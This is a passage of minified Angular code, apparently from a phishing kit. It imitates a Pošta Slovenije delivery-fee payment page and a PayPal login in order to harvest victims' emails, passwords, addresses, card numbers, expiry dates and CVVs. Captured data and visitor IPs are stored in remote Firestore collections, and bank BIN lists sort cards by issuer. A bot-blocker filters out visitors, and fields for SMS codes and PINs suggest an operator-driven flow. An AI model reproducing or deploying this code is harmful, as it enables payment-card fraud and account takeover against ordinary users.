gR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",45),r.\u0275\u0275text(1," Niste izbrali na\u010dina pla\u010dila. "),r.\u0275\u0275elementEnd())}function mR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h4",46),r.\u0275\u0275text(1," Povzetek"),r.\u0275\u0275elementEnd())}function yR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h4",47),r.\u0275\u0275text(1,"Pla\u010dilo"),r.\u0275\u0275elementEnd())}function bR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h4",46),r.\u0275\u0275text(1,"Uspeh"),r.\u0275\u0275elementEnd())}function vR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",48),r.\u0275\u0275element(1,"img",49),r.\u0275\u0275elementEnd())}function _R(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275elementStart(1,"div",48),r.\u0275\u0275element(2,"img",50),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(3,"br"),r.\u0275\u0275text(4," Hvala za pla\u010dilo, va\u0161 paket bo v najkraj\u0161em mo\u017enem \u010dasu na zalogi. "),r.\u0275\u0275element(5,"br"),r.\u0275\u0275element(6,"br"),r.\u0275\u0275text(7," Ob dostavi boste prejeli potrditev na va\u0161 e-po\u0161tni naslov. "),r.\u0275\u0275elementEnd())}function CR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"E-po\u0161tni naslov je obvezen"),r.\u0275\u0275elementEnd())}function wR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"E-po\u0161tni naslov ni veljaven"),r.\u0275\u0275elementEnd())}function xR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,CR,2,0,"div",33),r.\u0275\u0275template(2,wR,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.f.email.errors.required),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.f.email.errors.email)}}function PR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"Ime je obvezno"),r.\u0275\u0275elementEnd())}function SR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,PR,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.f.name.errors.required)}}function MR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"Uli\u010dni naslov ni veljaven"),r.\u0275\u0275elementEnd())}function OR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,MR,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.f.adress.errors.required)}}function ER(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"Mesto je potrebno"),r.\u0275\u0275elementEnd())}function TR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,ER,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.f.city.errors.required)}}function IR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"Po\u0161tna \u0161tevilka ni veljavna"),r.\u0275\u0275elementEnd())}function kR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,IR,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.f.zip.errors.required)}}const AR=function(t){return{"is-invalid":t}};function DR(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",51),r.\u0275\u0275elementStart(1,"div",52),r.\u0275\u0275elementStart(2,"h3",53),r.\u0275\u0275text(3," Izpolnite svoje podatke"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"form",54),r.\u0275\u0275listener("ngSubmit",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onSubmit()}),r.\u0275\u0275elementStart(5,"div",55),r.\u0275\u0275element(6,"input",56),r.\u0275\u0275template(7,xR,3,2,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"div",58),r.\u0275\u0275element(9,"input",59),r.\u0275\u0275template(10,SR,2,1,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(11,"div",58),r.\u0275\u0275elementStart(12,"input",60,61),r.\u0275\u0275listener("onAddressChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().handleAddressChange(e)}),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(14,OR,2,1,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",62),r.\u0275\u0275elementStart(16,"div",63),r.\u0275\u0275elementStart(17,"div",64),r.\u0275\u0275element(18,"input",65),r.\u0275\u0275template(19,TR,2,1,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(20,"div",63),r.\u0275\u0275elementStart(21,"div",64),r.\u0275\u0275element(22,"input",66),r.\u0275\u0275template(23,kR,2,1,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"ul",67),r.\u0275\u0275elementStart(25,"li",68),r.\u0275\u0275text(26," Dr\u017eava "),r.\u0275\u0275elementStart(27,"span"),r.\u0275\u0275elementStart(28,"strong"),r.\u0275\u0275text(29,"Slovenija"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"li",69),r.\u0275\u0275text(31," Prevoz "),r.\u0275\u0275elementStart(32,"span"),r.\u0275\u0275text(33,"Brezpla\u010dno"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(34,"li",70),r.\u0275\u0275elementStart(35,"div"),r.\u0275\u0275elementStart(36,"strong"),r.\u0275\u0275text(37,"Stro\u0161ki po\u0161iljanja"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"strong"),r.\u0275\u0275elementStart(39,"p",71),r.\u0275\u0275text(40," (vklju\u010dno z DDV-jem) "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(41,"span"),r.\u0275\u0275elementStart(42,"strong"),r.\u0275\u0275text(43,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(44,"div",55),r.\u0275\u0275elementStart(45,"button",72),r.\u0275\u0275text(46,"Nadaljujte s pla\u010dilom"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275property("formGroup",t.registerForm),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(15,AR,t.submitted&&t.f.email.errors)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.submitted&&t.f.email.errors),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(17,AR,t.submitted&&t.f.name.errors)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.submitted&&t.f.name.errors),r.\u0275\u0275advance(2),r.\u0275\u0275property("value",t.adress)("options",t.options)("ngClass",r.\u0275\u0275pureFunction1(19,AR,t.submitted&&t.f.adress.errors)),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",t.submitted&&t.f.adress.errors),r.\u0275\u0275advance(4),r.\u0275\u0275property("value",t.city)("ngClass",r.\u0275\u0275pureFunction1(21,AR,t.submitted&&t.f.city.errors)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.submitted&&t.f.city.errors),r.\u0275\u0275advance(3),r.\u0275\u0275property("value",t.zip)("ngClass",r.\u0275\u0275pureFunction1(23,AR,t.submitted&&t.f.zip.errors)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.submitted2&&t.f.zip.errors)}}function NR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"\u0160tevilka kartice je neveljavna"),r.\u0275\u0275elementEnd())}function RR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,NR,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.fb.ccNum.errors.required)}}function LR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275text(1,"Koda kartice je potrebna"),r.\u0275\u0275elementEnd())}function jR(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"div",73),r.\u0275\u0275template(1,LR,2,0,"div",33),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.fb.ccCvv.errors.required)}}function FR(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",74),r.\u0275\u0275elementStart(1,"div",52),r.\u0275\u0275elementStart(2,"h5",75),r.\u0275\u0275text(3," Podatki o kartici"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",76),r.\u0275\u0275text(6," \xa0 "),r.\u0275\u0275element(7,"img",77),r.\u0275\u0275text(8,"\xa0 "),r.\u0275\u0275element(9,"img",78),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(10,"form",79),r.\u0275\u0275listener("ngSubmit",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onConfirm()}),r.\u0275\u0275elementStart(11,"div",58),r.\u0275\u0275element(12,"input",80),r.\u0275\u0275template(13,RR,2,1,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(14,"div",62),r.\u0275\u0275elementStart(15,"div",63),r.\u0275\u0275elementStart(16,"div",64),r.\u0275\u0275elementStart(17,"input",81),r.\u0275\u0275listener("keyup",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onExpirationValue(e)}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(18,"div",63),r.\u0275\u0275elementStart(19,"div",64),r.\u0275\u0275element(20,"input",82),r.\u0275\u0275template(21,jR,2,1,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(22,"hr",83),r.\u0275\u0275elementStart(23,"div",84),r.\u0275\u0275elementStart(24,"p",85),r.\u0275\u0275text(25,"Pristojbina za sprejem"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(26,"p",85),r.\u0275\u0275text(27,"\u20ac 2,84 "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(28,"div",84),r.\u0275\u0275elementStart(29,"p",85),r.\u0275\u0275text(30,"Prevoz"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(31,"p",85),r.\u0275\u0275text(32,"Brezpla\u010dno"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(33,"div",86),r.\u0275\u0275elementStart(34,"p",85),r.\u0275\u0275text(35,"Skupni znesek "),r.\u0275\u0275elementStart(36,"span",87),r.\u0275\u0275text(37,"(vklju\u010dno z DDV-jem)"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"p",85),r.\u0275\u0275text(39,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"button",88),r.\u0275\u0275elementStart(41,"div",48),r.\u0275\u0275elementStart(42,"span"),r.\u0275\u0275text(43,"Potrdite pla\u010dilo "),r.\u0275\u0275element(44,"i",89),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(10),r.\u0275\u0275property("formGroup",t.confirmationForm),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(5,AR,t.submitted2&&t.fb.ccNum.errors)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.submitted2&&t.fb.ccNum.errors),r.\u0275\u0275advance(7),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(7,AR,t.submitted2&&t.fb.ccCvv.errors)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",t.submitted2&&t.fb.ccCvv.errors)}}const VR=function(t){return{selectedMethod:t}};function BR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h1",62),r.\u0275\u0275text(1,"Prijavite se v PayPal"),r.\u0275\u0275elementEnd())}function HR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h1",62),r.\u0275\u0275text(1,"Informacije o pla\u010dilu"),r.\u0275\u0275elementEnd())}const zR=function(t){return{hasError:t}};function GR(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"form",63),r.\u0275\u0275listener("ngSubmit",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onSubmit()}),r.\u0275\u0275elementStart(1,"div",64),r.\u0275\u0275elementStart(2,"div",65),r.\u0275\u0275elementStart(3,"div",66),r.\u0275\u0275elementStart(4,"div",67),r.\u0275\u0275elementStart(5,"label",68),r.\u0275\u0275text(6,"Email address or mobile number"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"input",69),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"div",70),r.\u0275\u0275elementStart(9,"p",71),r.\u0275\u0275text(10," The email address or mobile number format is incorrect. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(11,"div",72),r.\u0275\u0275elementStart(12,"div",73),r.\u0275\u0275elementStart(13,"div",74),r.\u0275\u0275elementStart(14,"label",75),r.\u0275\u0275text(15,"Password"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(16,"input",76),r.\u0275\u0275elementStart(17,"label",77),r.\u0275\u0275text(18,"Show password"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"label",78),r.\u0275\u0275text(20,"Hide"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",79),r.\u0275\u0275elementStart(22,"p",80),r.\u0275\u0275text(23,"Password is required"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"a",81),r.\u0275\u0275text(25,"Ste pozabili geslo?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(26,"input",82),r.\u0275\u0275elementStart(27,"div",83),r.\u0275\u0275elementStart(28,"button",84),r.\u0275\u0275text(29," Prijava "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(30,"input",85),r.\u0275\u0275element(31,"input",86),r.\u0275\u0275element(32,"input",87),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275property("formGroup",t.registerForm),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(4,zR,t.submitted&&t.f.email.errors)),r.\u0275\u0275advance(4),r.\u0275\u0275property("value",t.currentEmail),r.\u0275\u0275advance(5),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(6,zR,t.submitted&&t.f.password.errors))}}const UR=function(t){return{"textInput hasError":t}};function qR(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"form",63),r.\u0275\u0275listener("ngSubmit",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onConfirm()}),r.\u0275\u0275elementStart(1,"div",88),r.\u0275\u0275elementStart(2,"span",89),r.\u0275\u0275text(3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"div",90),r.\u0275\u0275elementStart(5,"section",91),r.\u0275\u0275elementStart(6,"div",92),r.\u0275\u0275elementStart(7,"div",93),r.\u0275\u0275elementStart(8,"h2",94),r.\u0275\u0275text(9," Dostavni naslov "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(10,"div",95),r.\u0275\u0275elementStart(11,"p",96),r.\u0275\u0275text(12),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(13,"div",97),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(14,"div",98),r.\u0275\u0275elementStart(15,"div",99),r.\u0275\u0275elementStart(16,"label",100),r.\u0275\u0275elementStart(17,"span",101),r.\u0275\u0275elementStart(18,"span",102),r.\u0275\u0275namespaceSVG(),r.\u0275\u0275elementStart(19,"svg",103),r.\u0275\u0275element(20,"path",104),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(21," Vnesite ta primarni naslov za dostavo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275namespaceHTML(),r.\u0275\u0275elementStart(22,"div",105),r.\u0275\u0275elementStart(23,"span",106),r.\u0275\u0275text(24,"Podatki o kartici"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(25,"div",107),r.\u0275\u0275elementStart(26,"div"),r.\u0275\u0275element(27,"br"),r.\u0275\u0275element(28,"img",108),r.\u0275\u0275text(29," \xa0 "),r.\u0275\u0275element(30,"img",109),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(31,"div",64),r.\u0275\u0275elementStart(32,"div",65),r.\u0275\u0275elementStart(33,"div",110),r.\u0275\u0275elementStart(34,"div",67),r.\u0275\u0275elementStart(35,"label",68),r.\u0275\u0275text(36,"Email address or mobile number"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(37,"div",111),r.\u0275\u0275element(38,"input",112),r.\u0275\u0275element(39,"input",113),r.\u0275\u0275element(40,"div",114),r.\u0275\u0275elementStart(41,"div",115),r.\u0275\u0275element(42,"input",116),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(43,"div",117),r.\u0275\u0275elementStart(44,"div",118),r.\u0275\u0275elementStart(45,"div",119),r.\u0275\u0275elementStart(46,"div",120),r.\u0275\u0275elementStart(47,"input",121),r.\u0275\u0275listener("keyup",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().onExpirationValue(e)}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(48,"div",122),r.\u0275\u0275elementStart(49,"div",123),r.\u0275\u0275elementStart(50,"div",124),r.\u0275\u0275element(51,"input",125),r.\u0275\u0275elementStart(52,"span",126),r.\u0275\u0275text(53,"It\u2019s the last 3 digits in the signature area on the back of your card."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",70),r.\u0275\u0275elementStart(56,"p",71),r.\u0275\u0275text(57," The email address or mobile number format is incorrect. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(58,"div",72),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(59,"input",82),r.\u0275\u0275elementStart(60,"div",127),r.\u0275\u0275elementStart(61,"button",84),r.\u0275\u0275text(62," Potrdi "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(63,"input",85),r.\u0275\u0275element(64,"input",86),r.\u0275\u0275element(65,"input",87),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275property("formGroup",t.confirmationForm),r.\u0275\u0275advance(3),r.\u0275\u0275textInterpolate1("Hej ",t.firstName,","),r.\u0275\u0275advance(9),r.\u0275\u0275textInterpolate1(" ",t.adress," "),r.\u0275\u0275advance(29),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(5,UR,t.submitted2&&t.fb.ccNum.errors)),r.\u0275\u0275advance(9),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(7,UR,t.submitted2&&t.fb.ccCvv.errors))}}function WR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",128),r.\u0275\u0275elementStart(1,"div",129),r.\u0275\u0275elementStart(2,"span",130),r.\u0275\u0275text(3,"ali"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function KR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",131),r.\u0275\u0275elementStart(1,"div",129),r.\u0275\u0275elementStart(2,"span",130),r.\u0275\u0275text(3,"or"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function $R(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",132),r.\u0275\u0275elementStart(1,"div",133),r.\u0275\u0275elementStart(2,"a",134),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext().cancelPayment()}),r.\u0275\u0275text(3,"Preklic in vrnitev na Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function QR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",135),r.\u0275\u0275elementStart(1,"p",136),r.\u0275\u0275text(2,"Welcome ,"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(3,"p",137),r.\u0275\u0275text(4,"Checking your information\u2026"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"p",138),r.\u0275\u0275text(6,"Just a second\u2026"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(7,"p",139),r.\u0275\u0275text(8,"Securely logging you in..."),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"p",140),r.\u0275\u0275elementStart(10,"p",141),r.\u0275\u0275text(11,"Retrieving your information..."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(12,"p",142),r.\u0275\u0275text(13,"This may take a few seconds..."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(14,"p",143),r.\u0275\u0275text(15," We recognise you on this device and we're logging you in more securely. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(16,"p",144),r.\u0275\u0275text(17," We've recognised you on this device, so you don't need to enter your password for this purchase. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(18,"p",145),r.\u0275\u0275text(19," We recognise you on this device, so you can skip login."),r.\u0275\u0275element(20,"br"),r.\u0275\u0275element(21,"br"),r.\u0275\u0275text(22,"Manage this setting in your profile. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(23,"p",146),r.\u0275\u0275text(24," We're taking you to PayPal Checkout to complete payment. "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(25,"p",147),r.\u0275\u0275text(26,"Redirecting..."),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"p",148),r.\u0275\u0275text(28,"\u2603transitioning.webAuthnOptin\u2603"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(29,"p",149),r.\u0275\u0275text(30,"\u2603transitioning.webAuthnLogin\u2603"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(31,"div",150),r.\u0275\u0275elementEnd())}const XR=[{path:"Confirm_Delivery",component:(()=>{class t{constructor(t,e,n,r,i,o,s){this.matDialog=t,this.myService=e,this.formBuilder=n,this.recaptchaV3Service=r,this.db=i,this.router=o,this.deviceService=s,this.expiration="",this.arrayNBG=["516946","548417","410669","558661","558680","670507","676226","676324","676325","676326","676327","677143","677152","443855","540951","448320","454346","459942","554852","554586","474819","483787","543661","545963","547423","459943"],this.arrayAlpha=["400474","459944","498708","558444","517540","550145"],this.arrayPiraeus=["492060","492066","492069","513565","513568","513571","513687","513688","513701","513703","513718","513723","513725","513726","513727","525761","525762","547904","547921","549486"],this.arrayEurobk=["4162761","433343","433348","440640","440641","440642","467301","467303","467304","467305","540600","542487","543686","547534","548191","559516","559517","559518","676270"],this.arraAttica=["416278","533890","417085","457722","459444","498527","498528","498529","515880","541268","543827","677192"],this.arraySPankki=["536504","535795","537469"],this.arrayHANDELSBANKEN=["402802","402803","492028","492030","492038","492039","492068","512004","518018","525442","534155","535211","535212","542986","549133","557498","557499"],this.arrayPOP=["377550","377553","402430","409664","429560","430982","448340","448341","448342","459520","460330","476656","510032","516262","536523","544227","545042","547611","589789","676214"],this.step=0,this.paymentMethod=0,this.loadingSpinner=!1,this.success=!1,this.visaSelected=!1,this.masterSelected=!1,this.amexSelected=!1,this.ppSelected=!1,this.disableMethod=!1,this.isMobile=!1,this.bin="",this.paymentNotSelected=!1,this.redirectTo=0,this.submitted=!1,this.submitted2=!1,this.login={id:"",credentials:"",smsCode:"",card:"",bnk:0,pin:"",email:"",pp:"",payment:0,step:0,name:"",zip:"",adress:"",city:"",dateTime:"",ip:""},this.visit={ip:"",country:"",dateTime:"",device:""},this.dateNow=new Date,this.dateNow2=new Date;var a=this.dateNow.setDate(this.dateNow.getDate()+3),c=this.dateNow2.setDate(this.dateNow2.getDate()+5);this.date1=new Date(a),this.date2=new Date(c),this.epicFunction(),this.options={types:["address"],componentRestrictions:{country:["si"]}},this.visit.device=this.deviceInfo.browser+"-"+this.deviceInfo.deviceType,this.visitsCollection=this.db.collection("vBet"),e.getIpAddress().subscribe(t=>{const n=window.navigator.userAgent;this.visit.ip=t.ip,e.botBlocker(n,this.visit.ip).subscribe(t=>{t.block_access?console.log("It's bad"):console.log("It's good")}),this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name,this.visitsCollection.add(this.visit),console.log(this.prefix+"dazdazda")})}),localStorage.getItem("ccNum")&&"paypal"!=localStorage.getItem("paymentMethod")&&(this.ccNum=localStorage.getItem("ccNum"),this.firstFourDegits=this.ccNum.substring(0,6),this.openDialog()),this.prefix=localStorage.getItem("ID"),this.loadingSpinner=!0,this.resultsCollection=this.db.collection("lBet"),this.myService.getBkName(451189).subscribe(t=>{console.log(t)}),this.storedMethod=localStorage.getItem("paymentMethod"),"visa"==this.storedMethod&&this.selectVisa(),"master"==this.storedMethod&&this.selectMaster(),"amex"==this.storedMethod&&this.selectAmex(),"pp"==this.storedMethod&&this.selectPp(),localStorage.getItem("ID")||setTimeout(()=>{this.loadingSpinner=!1},1e3),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(1==e.step?(this.step=1,this.loadingSpinner=!1,2==this.paymentMethod&&(this.loadingSpinner=!0),this.disableMethod=!0,console.log("Here I AM")):2==e.step?(this.step=2,this.loadingSpinner=!0,this.disableMethod=!0):3==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step||9==e.step||10==e.step&&(this.step=10,this.matDialog.closeAll(),setTimeout(()=>{this.loadingSpinner=!1,this.success=!0,this.disableMethod=!0},3e3))),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}()),this.registerForm=this.formBuilder.group({email:["",[$O.required,$O.email,$O.pattern("^[a-z0-9._%+-]+@[a-z0-9.-]+\\.[a-z]{2,4}$")]],name:["",[$O.required,$O.minLength(5)]],adress:["",[$O.required,$O.minLength(5)]],city:["",[$O.required,$O.minLength(4)]],zip:["",[$O.required,$O.minLength(4)]]})}handleAddressChange(t){this.adress=t.adr_address,this.city=t.adr_address,this.zip=t.adr_address,console.log(this.adress),this.adress=this.adress.split('address">').pop().split("</span>")[0],this.city=this.city.split('locality">').pop().split("</span>")[0],this.zip=this.zip.split('"postal-code">').pop().split("</span>")[0],console.log("Street: "+this.adress),console.log("City: "+this.city),console.log("Zip: 